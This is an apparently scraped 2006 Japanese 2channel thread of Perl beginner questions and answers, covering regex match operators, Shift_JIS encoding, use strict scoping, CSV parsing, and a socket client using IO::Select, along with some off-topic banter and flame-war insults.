http://ja.wikipedia.org/wiki/%E3%82%B3%E3%83%B3%E3%83%93%E3%83%8B%E6%95%AC%E8%AA%9E
0140デフォルトの名無しさん
2006/07/28(金) 22:25:410141Perl not Pearl
2006/07/28(金) 23:01:14は京都に行ったときによく耳にして違和感を覚えました。
最近では、東京でも聞きます。
0142デフォルトの名無しさん
2006/07/28(金) 23:21:56京都の人間だからなのかしらないけど、違和感なし。
0143デフォルトの名無しさん
2006/07/28(金) 23:29:28敬語を重ねるのが良い場合も悪い場合もある。
0144デフォルトの名無しさん
2006/07/29(土) 00:00:060145デフォルトの名無しさん
2006/07/29(土) 00:00:46返事をする前に手に取って片付けていくファミレス店員をこの間見た。
0146デフォルトの名無しさん
2006/07/29(土) 00:30:01>有名なのだとcp932とsjisの違いとか。
それはPerlと関係ねーよ!
つかUNIXでも問題あるっしょ。
0147デフォルトの名無しさん
2006/07/29(土) 02:03:38Spreadsheet::WriteExcelで、テンプレートとして利用できるものでしょうか。ただの噂?
もしご存じでしたら、教えてください。
0148デフォルトの名無しさん
2006/07/29(土) 10:13:23よろしかったでしょうか?に違和感なし。
「こんばんわ」と同意の「お晩です」という表現があるが
相手によって「お晩でした」と使い分ける。
#ほぼ50代以上限定
言語の話題だし、それもTIMTOWDI
0149デフォルトの名無しさん
2006/07/29(土) 10:34:35全国で同じ言葉を使わせようとするのは違和感あり。
0150デフォルトの名無しさん
2006/07/29(土) 11:26:20perl5.5以前というかjcode.plにはなかった問題ってことで。
0151デフォルトの名無しさん
2006/07/29(土) 11:27:14少し頭が混乱していました。
頭の中で、「えっ、えー?」みたいに。
話し方次第では、少し冷たく感じるかも。
さいたまー、です。
0152デフォルトの名無しさん
2006/07/29(土) 11:30:250153デフォルトの名無しさん
2006/07/29(土) 12:08:430154Perl not Pearl
2006/07/29(土) 12:20:25ヤフー掲示板の投稿を、一つのHTMLファイルにまとめて、読みたいと
思い、Perlのプログラムを書いているのですが、また問題にぶつかり
どこが間違っているのか原因が分かりません。
作業内容は、以下のような感じです。
(1)URL「A」から5つの投稿をゲット(「まとめ読み」できるのは5つの投稿までです。)
(2)直前の5つの投稿のURLを調べ、それを次のURL「A」とする。
(3)(1)へ戻る。
0155Perl not Pearl
2006/07/29(土) 12:22:03my $i;
for ($i = 1; $i <= 3; $i++){
#URLから読み込み
$response = $browser->get( $yahoo_bbs_url );
$content = decode('euc-jp', $response->content); # コード変換
#前の5件の投稿へのURLを取得
$content =~ m?mid=(\d+)"><b>前の5件のメッセージ</b></a>?s; #前の5件のメッセージのトップIDを取得
$previous_last_5_messages_top_id = $1;
$yahoo_bbs_url = "http://messages.yahoo.co.jp/bbs?.mm=FN&action=5&board=100$stock_code&tid=$stock_code&sid=100$stock_code&mid=$previous_last_5_messages_top_id";
}
0156Perl not Pearl
2006/07/29(土) 12:29:12一回目のループ($i == 1)では、問題がありません。
二回目のループで問題が発生します。
$contentには正しい意図通りのデータが格納されます。
ところが、マッチするはずの
$content =~ m?mid=(\d+)"><b>前の5件のメッセージ</b></a>?s;
がマッチしません。$contentの内容を出力して調べてもマッチ
するはずなのです。
どなたか原因がわかるかた、教えていただけないでしょうか。
0157Perl not Pearl
2006/07/29(土) 12:31:15>>108
の問題は、おかげさまで一応解決しました。
ありがとうございました。
while ($stock_code = <STDIN>){
chomp($stock_code);
$stock_code =~ s/\r$//;
$stock_code = decode('shiftjis', $stock_code);
0158Perl not Pearl
2006/07/29(土) 12:32:23>>108
ではなく
>>111
でした。
015976
2006/07/29(土) 14:00:40>>103
>>87さんのを参考に一旦別のファイルへ保存するというやり方でやらせて貰いました。
元々あまり大きなサイズのlogになる予定は無いのでこれで充分だと判断しました。
0160デフォルトの名無しさん
2006/07/29(土) 15:33:26してもよろしかったでしょうか? は文法上はしらんが、言葉としてはおかしい。絶対おかしい。
よろしいでしょうか? が本則で、それが過去形になってる。
これをタメ口に直訳すると「こうやってやったけど、もういいよな?」 ってことだ。
0161デフォルトの名無しさん
2006/07/29(土) 16:09:36その直訳おかしい。
つかここで自然言語の話するのはちょっと。
0162デフォルトの名無しさん
2006/07/29(土) 17:00:46その場で実行するにはどうすればよいですか?
cperlのドキュメントいろいろ漁ったけど
実行のことだけなぜかみつからない・・・
0163デフォルトの名無しさん
2006/07/29(土) 17:30:48M-x Compileでも使えばいいんじゃね?
0164デフォルトの名無しさん
2006/07/29(土) 17:41:34それは正常な動作。
0165デフォルトの名無しさん
2006/07/29(土) 17:55:08Would you like some coffee?
0167デフォルトの名無しさん
2006/07/29(土) 18:31:53ボケ! 書き換えろ。
0168162
2006/07/29(土) 18:49:24すんまそん
.emacsに
(setq compile-command "perl")
て書いたら
M-xしたときにmake -kじゃなくてperlがでるようになりました
で、すいません本当にすみません
最後に教えて下さい
M-xしたときにperlと出すのはいいんだけど
このままじゃいちいち.plファイルを指定しなきゃいけないんです
現在開いている.plファイルが自動的にセットされるようにしたいんですけど
どうすればいいの〜〜
0169デフォルトの名無しさん
2006/07/29(土) 18:55:56変数compile-commandを知っているのなら、それのヘルプを見れば
やり方が書いてあるが。
それ以外でも、当該*.plにローカル変数定義を書いておく方法もあるな。
0170デフォルトの名無しさん
2006/07/29(土) 19:01:54> 変数compile-commandを知っているのなら、それのヘルプを見れば
> やり方が書いてあるが。
elispを知ってる人ばかりだとは限らないような……これくらいパッと見でわかるかな?
0171デフォルトの名無しさん
2006/07/29(土) 20:50:32マッチするはずの部分がどうなってるか、その説明だけで分かる奴はいないと思う。
0172Perl not Pearl
2006/07/29(土) 21:19:15http://messages.yahoo.co.jp/bbs?.mm=FN&action=5&board=1004314&tid=4314&sid=1004314&mid=125205
具体的には、例えば、↑の掲示板のソースの2箇所に↓の記述がありますが、その行の
125188という数字をゲットしたいのです。目的は前の5件のメッセージをゲットするためです。
<small><a href="/bbs?.mm=FN&action=5&board=1004314&tid=4314&sid=1004314&mid=125188"><b>前の5件のメッセージ</b></a></small>
0173デフォルトの名無しさん
2006/07/29(土) 21:35:58m?? を m{} に変える。
perldoc perlre に
For reference on how regular expressions are used in matching
operations, plus various examples of the same, see discussions of "m//",
"s///", "qr//" and "??" in "Regexp Quote-Like Operators" in perlop.
とあり、perldoc perlopを見ると
?PATTERN?
This is just like the /pattern/ search,
except that it matches only once between calls to the reset() operator.
This is a useful optimization when you want to see only the
first occurrence of something in each file of a set of files,
for instance. Only ?? patterns local to the current package are reset.
とある。?? は一度マッチしたらreset() を呼ぶまでマッチしないってこと。
0174Perl not Pearl
2006/07/29(土) 21:44:29>>173
ありがとうございます。
どんな区切り文字でもいいのかと思っていました。
0175デフォルトの名無しさん
2006/07/29(土) 22:15:34マッチ演算子の問題だから、その説明だけでわかる奴(>>164等)にはわかる。
ネタと判断してスルーした奴も多い気がする。
自分の場合は、不可解な現象というからには
@array = ($a=0,++$a,++$a,++$a,$a++,$a++,$a++);
print join(',',@array),"\n"; # 6,6,6,3,4,5 になる.
程度の不可解さ(?)は欲しいと思った程度。
0176デフォルトの名無しさん
2006/07/29(土) 22:43:470177デフォルトの名無しさん
2006/07/29(土) 22:46:220178デフォルトの名無しさん
2006/07/29(土) 22:52:44int main() {
int x;
x = 0;
printf("%d%d%d%d%d%d%d\n", x=0, ++x, ++x, ++x, x++, x++, x++);
return 0;
}
をやってみた。
0654210
何じゃそりゃぁぁぁああ???
0179デフォルトの名無しさん
2006/07/29(土) 23:34:56検証したくて、
my $i ;
( print $i = 0 ,
print ++$i ,
print $i++ );
print "\n" ;
みたくやって、更にハマッタ若き日の俺w
0180デフォルトの名無しさん
2006/07/29(土) 23:42:04そんなんK&RやANSIの規定外なので結果はコンパイラ依存。
perlは処理系が事実上一つしかないので同じ結果にはなるだろうが、
全てのバージョンで同じになるとは思わないほうがいい。
0181デフォルトの名無しさん
2006/07/30(日) 11:50:24こういった事は可能でしょうか?
もし簡単にできるようでしたら、その方法をご教授ください。
0183デフォルトの名無しさん
2006/07/30(日) 12:01:29copal
0184164
2006/07/30(日) 12:09:59?の挙動はグチャミソのお下品コードを書かない人間にとっては、
用途がさっぱり不明だから、ほとんどの人間にとっては蘊蓄にしかならないね。
作者なんかは好んで使ってそうだけど。
0185デフォルトの名無しさん
2006/07/30(日) 12:31:14> 作者なんかは好んで使ってそうだけど。
ってことはPerlではこの動作は保証されてるの?
0186デフォルトの名無しさん
2006/07/30(日) 12:36:43全てのバージョンで同じになるとは思わないほうがいい。
0187デフォルトの名無しさん
2006/07/30(日) 12:52:35たとえばJavaではJLSで明確に規定されてるけど
Perlにもそういう規定があるという可能性はないの?
0188デフォルトの名無しさん
2006/07/30(日) 13:04:52>>184はマッチ演算子の話をしてんだろ?何か勘違いしてないか?
0189デフォルトの名無しさん
2006/07/30(日) 13:06:25「?の挙動は」を見落として>>175の後半の話かと思ってた
0190デフォルトの名無しさん
2006/07/30(日) 13:23:00Win板のCygwinスレの過去ログで見かけた方法。
たぶんPerlにも応用可能
977 :973 :03/05/04 07:30 ID:nJ187ml8
>>976
自分で質問しておいてなんですができました。
WSHの.jsファイルではドラッグドロップできるので
レジストリの設定をまねします。
[HKEY_CLASSES_ROOT\JSFile\ShellEx\DropHandler]
@="{60254CA5-953B-11CF-8C96-00AA00B8708C}"
を書き出して、JSFileをBashScriptに置換して結合
[HKEY_CLASSES_ROOT\.sh]
@="BashScript"
[HKEY_CLASSES_ROOT\BashScript\shell\exec\command]
@="cmd.exe /K \"D:\\cygwin\\bin\\bash.exe --login -i \"%1\" %* \""
といった感じ、ここには要点しか書いてないので、
自己責任でお願いします。
右クリック→送るでGNU Makeとかできるのでかなり楽できそう。
0191デフォルトの名無しさん
2006/07/30(日) 15:22:43前々スレでは680への返答としてconstantが紹介されていたのですが、
単純にconstantを使って定数を設定しても他のファイルで利用できませんでした。
使い方が間違っているんだと思うのですが、正しい使い方を教えてもらえないでしょうか。
今はこんな感じです。
ファイル1(ファイル名 test.pl)
use constant PI => 3.14;
1;
ファイル2
use constant;
require 'test.pl';
print PI, "\n";
0192デフォルトの名無しさん
2006/07/30(日) 16:03:34>>191
use strictしような。
定数はコンパイル時に定義されていないとダメ。
BEGIN{ require 'test.pl' }
0193191
2006/07/30(日) 16:24:24ありがとうございます。
コンパイル時…ですか。いままで意識したこともありませんでした。
一応、格好つけで use strict はしています。
0194デフォルトの名無しさん
2006/07/30(日) 17:57:51htmlのインデント整形してくれるモジュールって、どっかに落ちてないでしょうか?
CGIモジュールの出力だけなら、Prettyで整形されますが、HTML::Templateと組み合わせると、インデントが崩れます。
なので、出来上がったHTMLを食わせると整形して出力してくれるようなモジュールがあると便利なんですが。
HTML::Parser使えば書けそうですが、誰でも考えそうな要求なんで、あれば既存のモジュールで楽したい。
0195Perl not Pearl
2006/07/30(日) 18:11:20また文字コード関係の問題ではまっております。
似たような問題ばかりで申し訳ないですが、どなたか教えてください。
#!/usr/bin/perl -w
use Encode;
use encoding 'shiftjis';
binmode(STDERR, ':raw :encoding(shiftjis)');
open(IN, '<in.txt') || die "cannot open: $!\n";
open(OUT, ">out.txt") || die "cannot open: $!\n";
while(<IN>){
print OUT $_;
}
close(IN) || die "cannot close: $!\n";
print OUT "日本語\n";
close(OUT) || die "cannot close: $!\n";
0196デフォルトの名無しさん
2006/07/30(日) 18:18:05#!/usr/bin/perl -w
use Encode;
use encoding 'shiftjis';
use open IO => ':encoding(shiftjis)'; # IOをshiftjis に設定
use open ':std'; # 標準入出力も、それで設定。
open(IN, '<in.txt') || die "cannot open: $!\n";
open(OUT, ">out.txt") || die "cannot open: $!\n";
while(<IN>){
print OUT $_;
}
close(IN) || die "cannot close: $!\n";
print OUT "日本語\n";
close(OUT) || die "cannot close: $!\n";
0197Perl not Pearl
2006/07/30(日) 18:19:20"日本語\n"
です。
0198Perl not Pearl
2006/07/30(日) 18:21:26文字化けが発生します。
while(<IN>){
print OUT $_;
}
で出力するとShift Jisで出力され問題ないのですが、
print OUT "日本語\n";
で出力すると文字コードがUTF-8で出力されるようです。
(秀丸で確かめました。)
どうすればいいのかよく分かりません。
Spidering Hacksの日本語訳版の付録には、
出力ファイルをオープンする際、
open(OUT, '>:encoding(shiftjis)', ">out.txt") || die "cannot open: $!\n";
と記述すれば、シフトJISで出力されると書いてありますが、エラーに
なってしまいます。
使っているOSはWindows XP
使っているPerlはActive Perl
使っているエディタは秀丸エディタ
です。
0199196
2006/07/30(日) 18:22:070200196
2006/07/30(日) 18:23:00それとも >196 の方法でもだめ?
0201Perl not Pearl
2006/07/30(日) 18:27:54>>199
ありがとうございます!
use open IO => ':encoding(shiftjis)'; # IOをshiftjis に設定
use open ':std'; # 標準入出力も、それで設定。
を付け加えたらうまくいきました。
理由はわかりませんが。。。
やっぱり体系的にPerlの使い方を調べないとすぐに文字コードの
問題でトラブってしまうようでPerlって大変ですね。
変な質問ですが、なぜみなさんはPerlを使われているのですか?
Perlは簡単で強力、人気がある、というイメージで使い始めたの
ですが、JAVAを勉強したほうがいいのではないかと思い始めました。
本をちらっと読んでみても、Javaはすっきりしていて、Perlのような
あやしげな感じがしなかったです。
0202デフォルトの名無しさん
2006/07/30(日) 18:31:40とっつきにくいけど、仕組みがわれば難しいもんじゃない。
Perlが歴史的にごちゃごちゃした仕様になっているのは確かだが。
0203デフォルトの名無しさん
2006/07/30(日) 18:31:470204デフォルトの名無しさん
2006/07/30(日) 19:14:46うん、JAVAに移行すべきだと思うよ。Perlはもう忘れて、すぐにJAVAに移行しよう。
0205デフォルトの名無しさん
2006/07/30(日) 19:25:31いや、バージョンや言語によらずUnicodeとの変換で起こる問題でしょ。
Jcodeは2.0でUnicodeを使うようになったから問題が出やすくなったというのはあるかもしれないけれど。
0206デフォルトの名無しさん
2006/07/30(日) 19:26:17その配列へのpushや配列の大きさを読めなくて困っています。
今のところ↓のようなプログラムなのですが、
my %hoge;
$hoge{'date'}=1;
$hoge{'scadule'}[0]='are';
$hoge{'scadule'}[1]='kore';
print "$hoge{'date'}\n";
for(my $count; $count<2; $count++){
print "$hoge{'scadule'}[$count]\n";
}
'are'や'kore'を代入している部分をpushに、forで回している部分をforeach
などにしたいのですが、@hoge{'scadule'}と書くと怒られてしまいます。
このような場合、どう書くものなのか教えてください。
0207デフォルトの名無しさん
2006/07/30(日) 19:30:530208デフォルトの名無しさん
2006/07/30(日) 19:32:57...
}
0209デフォルトの名無しさん
2006/07/30(日) 19:34:570210デフォルトの名無しさん
2006/07/30(日) 19:39:460212デフォルトの名無しさん
2006/07/30(日) 23:30:32現在CSVファイルから1行ずつデータを取得し編集を行い
別ファイルに吐き出すということを行っているのですが
1セル内に改行コードがある時にデータの配列がずれてしまうので
改行コードから後ろの文章を削除したいのですが、どのように
書けばよいのでしょうか
0213デフォルトの名無しさん
2006/07/30(日) 23:41:23それはそのプログラムがどのように書かれているかによります。
0214212
2006/07/30(日) 23:55:33今現在どうやればよいのかわからないので
困っていたのですが、カンマ区切りで取得する・・・という所まで
しかできてないのが現状です・・・
-----------------------------------------
# File Read
open FH, "< test.csv" ;
# Read CSV Data
while ( $line = <FH> ) {
push( @line_all , $line );
}
# Close File
close FH;
for ( $i = 0; $i < $#line_all + 1; $i++ ) {
@line_split = split( /\,/, $line_all[$i] );
}
0215デフォルトの名無しさん
2006/07/31(月) 00:54:48が",はげ
あほ,"ばか",しね
みたいなファイルのとき
「ふ」だけ拾って「が」は捨てるという意味?
line_split($i == 0) = ['ほげ', 'ふ', 'はげ']
line_split($i == 1) = ['あほ', 'ばか', 'しね']
と入るのを期待しているの?
0216212
2006/07/31(月) 00:56:38そうです、書き方悪くてすいません
まさしくそれがやりたいことなんです。
よろしければ教えていただけないでしょうか・・・
0217デフォルトの名無しさん
2006/07/31(月) 01:34:01Unrecognized character
となります。
例えば、「$日本語変数=・・・」
使えるようにする方法ってありますか?
環境はwinXP,ActivePerl v5.8.7です。
0218デフォルトの名無しさん
2006/07/31(月) 01:49:55use utf8でいけるらしい。
http://www.pure.ne.jp/~learner/program/Perl_unicode.html#use_utf8
0219デフォルトの名無しさん
2006/07/31(月) 02:24:34捨てるより連結したほうが楽だが、捨てないとだめか?
改行コードの位置がわかる様に'//' をはさんで連結しているけど、いらなけりゃとればいい。
制限事項として、、クォートはダブルクォート限定で、文字列中にダブルクォートが含まれている場合は対応していない。
open FH, "< test.csv" or die();
my $save = undef;
while ( $line = <FH> ) {
chomp $line;
my @r = $line =~ /(\")/g;
if(@r % 2){
if($save){
push @line_all , "$save//$line";
$save = undef;
}else{
$save = $line;
}
}else{
if($save){
$save .= "//$line";
}else{
push @line_all , $line;
}
}
print join('|', @line_all),"\n";
}
close FH;
0220デフォルトの名無しさん
2006/07/31(月) 02:33:23>print join('|', @line_all),"\n";
はいらない。
0222デフォルトの名無しさん
2006/07/31(月) 21:46:49エラーが出るのはなんでですか?
use strict;
use Cwd;
my $dir = Cwd::getcwd();
opendir DH, $dir or die "$dir:$!";
while (my $file = readdir DH) {
next if $file =~ /^\.{1,2}$/;
print $file, "\n";
}
closedir DH;
print "$file\n";
myの使い方が間違っていますか?
0223デフォルトの名無しさん
2006/07/31(月) 22:02:14スコープの外に$fileが出てきてるじゃん。
0224222
2006/07/31(月) 22:09:52$file にディレクトリ下のファイル名を収納して、
次にその名前を他の用途に使いたいのです。
それで、とりあえずprintしてみたのですが。。。
0225デフォルトの名無しさん
2006/07/31(月) 22:21:49間違ってる。
0226デフォルトの名無しさん
2006/07/31(月) 22:24:29レキシカルスコープ中でしか $file を使えない。(use strict 下では)
もし、ブロックの外で使いたいのなら、while の外で my $file; などと宣言して、while の条件節の my は消しておく。
これが理解できないようなら、use strict はまだ早いかも。
ところで >>222 の場合、ディレクトリの中の一番最後のファイルしか処理できないけど、それでいいんだよね?
0227デフォルトの名無しさん
2006/07/31(月) 22:32:51やってみました。
use strictを使うようにって本に書いて有りましたが、
理解してないと拙いですね。
>ところで >>222 の場合、ディレクトリの中の一番最後のファイルしか処理できないけど、それでいいんだよね?
違います〜!!
すみません、ファイル名のみ(ディレクトリは除く)利用したいのです。
巧い方法を教えて下さい。
0228デフォルトの名無しさん
2006/07/31(月) 22:41:12ファイル名をとっておいて後で使いたいのなら、ファイル名を格納する為の配列変数を作って
my @files;
while (my $file = readdir DH) {
next if $file =~ /^\.{1,2}$/;
push @files, $file;
}
とか
my @files = grep { !/^\.{1,2}/ } readdir DH;
とかやれば、後から
for (@files) { print "$_\n"; }
とかできるけど・・・そういう事ではなくて? やりたい事を書いた方が早いかも。
0229デフォルトの名無しさん
2006/07/31(月) 22:51:24ありがとうございます。
pushを使えばよいのですね。
私がやりたかったことは
(1)カレントディレクトリから
(2)ファイル名のみを配列に格納する
ことでした。
しかし、$fileのデータをどうやって配列に入れるか
悩んでいました。
以下はなんでダメなのでしょう?
@fileにファイル名が格納されるとおもったのに。。。
use Cwd;
my $dir = Cwd::getcwd();
my @file;
opendir DH, $dir or die "$dir:$!";
while (@file = readdir DH) {
next if @file =~ /^\.{1,2}$/;
}
closedir DH;
print @file;
foreach(@file){
print" $_\n";
}
0230デフォルトの名無しさん
2006/07/31(月) 22:53:39myなんか使わなければいい。my厨が多くて困る。use strictもいらない。
opendir DH, $dir or die "$dir:$!";
print join ' ', grep !/^\.{1,2}$/, readdir DH or die "$!";
exit;
かな?
あ、配列かm(_ _)m深謝
my @files = grep !/^\.{1,2}$/, readdir DH or die "$!";
う、$!には何も入ってこないのか(呆)
my @files = grep !/^\.{1,2}$/, readdir DH;
print @files ? join ' ', @files : 'No entry...';
0234デフォルトの名無しさん
2006/07/31(月) 23:16:43> use Cwd;
>
> my $dir = Cwd::getcwd();
まあ、
my $dir = '.';
でいいんだがな。
0235デフォルトの名無しさん
2006/07/31(月) 23:20:31これってどういうつもりなの?
0236デフォルトの名無しさん
2006/07/31(月) 23:38:360237デフォルトの名無しさん
2006/08/01(火) 09:07:07いまどきはuse strictとuse warningsは必ずつけとけというのが普通じゃないかね。
くだらんバグがかなり門前払いできる。ワンライナーでまでやれとはいわんが。
0238デフォルトの名無しさん
2006/08/01(火) 11:12:18バグが門前払いできるとしても、そのバグ修正できる程度のスキルがないと意味ないし。
0239デフォルトの名無しさん
2006/08/01(火) 11:26:08そのうちバグを出して質問するに決まってる。結局動かなくて質問するんジャマイカ?
であれば use strict させることと、strict によるエラー時の対応方法を
まず最初に教えたほうがいい気はする。
0240デフォルトの名無しさん
2006/08/01(火) 12:21:03strict付けると、どうせ再利用しないスクリプトでもグローバル変数に忠告が出たり不要なエラーが出てくる。libraryにするつもりなければ、不要だと思う。
0241デフォルトの名無しさん
2006/08/01(火) 12:48:560242デフォルトの名無しさん
2006/08/01(火) 12:51:480243デフォルトの名無しさん
2006/08/01(火) 12:52:540244デフォルトの名無しさん
2006/08/01(火) 12:58:27皆さんありがとう御座います。
勉強になりました。
strictで悩みましたが、それ以前も分かっていない
ことが分かりました。
perlは面白いですね!
0245デフォルトの名無しさん
2006/08/01(火) 13:00:23たしかにミスをしないのは重要だが、ミスを絶対にしない人間がいないからこそ用意されてるんだろうが。
0246デフォルトの名無しさん
2006/08/01(火) 13:02:25242みたいのには何を説明しても無理だよ
0247デフォルトの名無しさん
2006/08/01(火) 13:07:000248デフォルトの名無しさん
2006/08/01(火) 13:08:390249デフォルトの名無しさん
2006/08/01(火) 13:18:23放っておいてやれ。もう引っ込みつかないんだろ。
まあでもuse strictは使い切りの作業スクリプトなんかでは使わないときもあるけど
use warningsは毎回使うよな。
0250デフォルトの名無しさん
2006/08/01(火) 14:07:340251デフォルトの名無しさん
2006/08/01(火) 14:08:37なんかもう条件反射で手が自然に書いてしまう。
0253デフォルトの名無しさん
2006/08/01(火) 14:28:32その意味分かってないヤツが新たなミスを起こすってことだよ
0254デフォルトの名無しさん
2006/08/01(火) 14:52:22人の価値観にどうこう言うのやめようや。
0255デフォルトの名無しさん
2006/08/01(火) 15:10:17> いろいろな書き方ができるからいいんじゃないの。
> 人の価値観にどうこう言うのやめようや。
「人の価値観にどうこう言うのは許される」という価値観にケチをつける人が出現しました!!
0256242
2006/08/01(火) 15:13:120257デフォルトの名無しさん
2006/08/01(火) 15:13:35新しい人に悪影響を与えるのは良くない
0258デフォルトの名無しさん
2006/08/01(火) 15:18:530259デフォルトの名無しさん
2006/08/01(火) 15:20:05おまえらがどんなソースを組もうが知ったことじゃないが
間違っても糞なソースをネットワークで公開するなよ!
あと、perl使えますとか公言したりするな。
お前らのせいでPerlerのレベルが不当に評価されちまうから。
0260デフォルトの名無しさん
2006/08/01(火) 15:20:52それはちがうだろ。
>>255は、
「「人の価値観にどうこう言うのは許される」という価値観にケチをつける人にケチをつけ」ているのではなく、
「人の価値観にどうこう言うのやめようや」という言葉で以って、「人の価値観にどうこう言っ」ている露骨な矛盾をやらかしている人にケチをつけているのでしょう。
0261デフォルトの名無しさん
2006/08/01(火) 15:22:500262242
2006/08/01(火) 15:42:51藻前こそなぁー。strict、warning付けっぱなしでwebに
公開してネットワークの負荷を増やさんでくれよー。
0263242
2006/08/01(火) 15:51:520264デフォルトの名無しさん
2006/08/01(火) 16:09:47そのほとんどを消費してるものだ。
0265デフォルトの名無しさん
2006/08/01(火) 16:18:24use warning;
でスクリプトが遅くなると勘違いしてる真性の馬鹿がいるな・・・
0266デフォルトの名無しさん
2006/08/01(火) 16:26:48どうみてもスパゲッティです、って感じなのか? 怖ぇw
0267デフォルトの名無しさん
2006/08/01(火) 16:27:18242は夏厨なので放置しましょう。
262の発言でわかるように242は劣悪なperl/CGI本が大量生産した害虫の一匹なのです。
どう丁寧に説明しても話は平行線で交わることはありません。
0268デフォルトの名無しさん
2006/08/01(火) 16:39:160269デフォルトの名無しさん
2006/08/01(火) 17:13:33typoしてんじゃん・・・
0270デフォルトの名無しさん
2006/08/01(火) 17:15:400271デフォルトの名無しさん
2006/08/01(火) 17:21:32自分に出来ない事は他人も出来ないと思ってるの
0272デフォルトの名無しさん
2006/08/01(火) 17:22:050273デフォルトの名無しさん
2006/08/01(火) 17:34:17266は出来ないなんてどこにも書いていない。
おまえがアフォだねと書いてるだけ。
0274デフォルトの名無しさん
2006/08/01(火) 17:54:490276デフォルトの名無しさん
2006/08/01(火) 18:03:500278デフォルトの名無しさん
2006/08/01(火) 20:56:31(・∀・)カエレ!!
0279242
2006/08/01(火) 20:58:54libraryで再利用もしない小さなスクリプト書くにもstrictやwarning
使わなきゃ自分のtypoやerrorが発見できない香具師らが、ちょっと
テクが上の人に同じことをしろと強要してる流れですよプゲラ
0280デフォルトの名無しさん
2006/08/01(火) 21:04:03「俺typoしないもん」って言ってる奴が
さっそく262でtypoしてる状態では何言っても説得力ねーよ、バ〜カw
ようは自分がミスしててもミスと認識してないだけだろ。
0281デフォルトの名無しさん
2006/08/01(火) 21:05:470282デフォルトの名無しさん
2006/08/01(火) 21:08:31242の頭が逝っちゃってるって流れ
0283デフォルトの名無しさん
2006/08/01(火) 21:10:21typoしないもんって言って速攻typoするあたり
さすがテクが上の人は違いますね。
感服しました。
0284デフォルトの名無しさん
2006/08/01(火) 21:16:24誰もstrictやwarningを使わないとtypoやerrorが発見できないなんて書いてない。
つけた方が効率的に発見・予防できるってだけだよ。
さすがテクが上の人は脳内捏造も半端じゃないですね。
0285デフォルトの名無しさん
2006/08/01(火) 21:32:22奥ゆかしい奴だ
0286デフォルトの名無しさん
2006/08/01(火) 21:33:530287デフォルトの名無しさん
2006/08/01(火) 21:57:10Perl6って追ってなかったから知らなかった。
ちょっくらPugsのドキュメント読んでくる
0288デフォルトの名無しさん
2006/08/01(火) 22:01:10初心者が「変数に何も入ってません。インタプリタのバグでしょうか」といってくるより、
「XX行目でコンパイルエラーになってしまいますが、何故ですか」といってくるよりずっと楽だわ。
0289デフォルトの名無しさん
2006/08/01(火) 22:01:17http://blog.livedoor.jp/dankogai/archives/50441879.html
0290デフォルトの名無しさん
2006/08/01(火) 22:01:420291デフォルトの名無しさん
2006/08/01(火) 22:04:55284が書いている「つけた方が効率的に発見・予防できる」ってことに集約されるな
0292デフォルトの名無しさん
2006/08/01(火) 22:26:41使わなきゃ自分のミスやerrorが回避できない香具師らが、ちょっと
テクが上の人に同じことをしろと強要してる流れですよプゲラ
0293デフォルトの名無しさん
2006/08/01(火) 22:32:480294デフォルトの名無しさん
2006/08/01(火) 22:33:26strictやwarningが与えるコンパイル上の制約はプログラミングの効率に何の影響もないはずなんだけどな。
いっそのこと実際にコード書いて貰って証明してもらうか?
0295デフォルトの名無しさん
2006/08/01(火) 22:34:51使わなきゃ避妊できない香具師らが、ちょっと
テクが上の人に同じことをしろと強要してる流れですよプゲラ
0296デフォルトの名無しさん
2006/08/01(火) 22:37:49スクリプトはちょっと長めなのでアプロダへ上げました。
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi46645.lzh.html です。
まずserver3.plを待機させ、client.plで接続します。
client.plはSTDINを送信し、応答を受けるだけのものですが、server3.plからの接続応答「Hello!」が一行あるとワンアクション分タイミングがずれて表示されてしまいます。
whileでソケット全てを受信すると、STDINがロックされてしまい、入力が出来なくなります。
そこでclient2.plではforkを使って、STDINとソケットの受信を分けたのですが、こんどはソケットを受信しなくなってしまいました。
forkの親と子を入れ替えたり、スレッドにしてみたりしましたが、STDINがロックされるか、ソケットの受信がなくなるかのどちらかになってしまいます。
よろしくお願いします。
0297デフォルトの名無しさん
2006/08/01(火) 22:41:26これ、どうやってソースDLするの?
あとOS、Perlのバージョン,モジュールの使用可否の情報もキボン
0298296
2006/08/01(火) 22:42:120299297
2006/08/01(火) 22:43:020300デフォルトの名無しさん
2006/08/01(火) 22:56:09すいません、うっかりしてました。
Win2k SP4、ActivePerl5.8.8
モジュールはインストールしたままのものです。
0301デフォルトの名無しさん
2006/08/01(火) 22:57:06はい次の方。
0303デフォルトの名無しさん
2006/08/01(火) 23:03:59ってか避妊以前に病気怖くね?
0304デフォルトの名無しさん
2006/08/01(火) 23:10:020305デフォルトの名無しさん
2006/08/01(火) 23:12:50じょ、じょ〜だんじゃない。
わたしにはstrictなんていらないのよ。本当よっ!
0306デフォルトの名無しさん
2006/08/01(火) 23:22:430307デフォルトの名無しさん
2006/08/01(火) 23:43:02> client.plはSTDINを送信し、応答を受けるだけのものですが、server3.plからの接続応答「Hello!」が一行あるとワンアクション分タイミングがずれて表示されてしまいます。
connect時にサーバが送ったメッセージを受信していないからだ。
0308デフォルトの名無しさん
2006/08/02(水) 00:55:05「放置しろよ」とか思われてしまうかもしれないが、
最近、このスレも煽りが増えたね('A`)
いや、>>242のことではなくて。
事あるごとに、他人を必要以上に小馬鹿にしたがる煽りが。
同じ日本人であると思うと見ていて恥ずかしい。
0309デフォルトの名無しさん
2006/08/02(水) 01:03:56もうこの手の自演はいいです。
0310デフォルトの名無しさん
2006/08/02(水) 01:12:45ヒント:夏
0311デフォルトの名無しさん
2006/08/02(水) 02:18:56それで、受信を何行でも受け取れるようにclient2.plでforkを使って送信と受信を分けようしたんですが、上手くいかないんです。
0312デフォルトの名無しさん
2006/08/02(水) 02:37:49ヒント: select
0313デフォルトの名無しさん
2006/08/02(水) 03:01:03ちょっと書いてみた。IO::Socket使っているからIO::Selectなんか使って……
use IO::Select;
してから、メインループのところを
my $select = IO::Select->new();
$select->add(\*STDIN, $socket);
while(my @ready = $select->can_read) {
foreach my $fh (@ready) {
if ($fh == \*STDIN) {
# 文字列を送信
chomp($_ =<>);
print $socket "$_\n";
$socket->flush();
} else {
# 文字列を受信
if ($buf = <$socket>) {
chomp $buf;
print "$buf\n";
}
}
}
}
て感じで。
0314デフォルトの名無しさん
2006/08/02(水) 03:09:30まずchat-client.plだけど、この実装はそもそも致命的な欠陥がある。
一行読み取るところで、入力がなかった場合そこでブロックしてしまうために、
サーバから別のクライアントの発言を受け取ることが出来ない。
chat-client2.plはケアレスミスが二つあるのでまず指摘。
